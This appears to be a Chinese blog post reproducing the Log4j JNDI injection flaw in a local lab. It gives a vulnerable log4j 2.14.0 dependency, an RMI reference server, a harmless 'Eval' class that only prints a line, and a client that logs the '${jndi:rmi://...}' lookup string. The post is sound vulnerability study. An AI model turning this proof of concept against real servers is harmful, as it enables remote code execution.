• Log4j 漏洞复现


    pom.xml 中:

        <dependencies>
            <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-api</artifactId>
                <version>2.14.0</version>
            </dependency>
    
            <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
                <version>2.14.0</version>
            </dependency>
            
        </dependencies>
    

    远端:

    定义一个RMI Service

    package remote;
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    import javax.naming.NamingException;
    import javax.naming.Reference;
    
    public class RMIServer {
        public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
            LocateRegistry.createRegistry(8843);
            final Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8843);
            Reference ref = new Reference("remote.Eval","remote.Eval",null);
    
            final ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("Test", referenceWrapper);
        }
    }
    

    定义一个需要注入的对象

    package remote;
    
    public class Eval {
        static {
            System.out.println("load Eval");
        }
    }
    

    client 端

    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    public class Main {
        public static void main(String[] args) {
            Logger logger = LogManager.getLogger();
            System.out.println("Main");
            String msg2 = "${jndi:rmi://127.0.0.1:8843/Test}";
            logger.error("Hello {}", msg2);
        }
    }
    

    执行后发现 Eval 被加载了

  • 相关阅读:
    flexigrid 分析
    [转]使IE浏览器支持CSS3属性(圆角、阴影、渐变)
    mojoPortal 笔记
    简易的Json转换的实现
    关于 base64 编码不适用web的改进
    无法删除表,提示被外键约束引用的解决
    HTML 自适应高度的Js 算法
    从网页中提取出所有的电子邮件
    sqlserver 聚合函数
    调试MVC4的方法
  • 原文地址:https://www.cnblogs.com/stdpain/p/15674449.html
Copyright © 2020-2023  润新知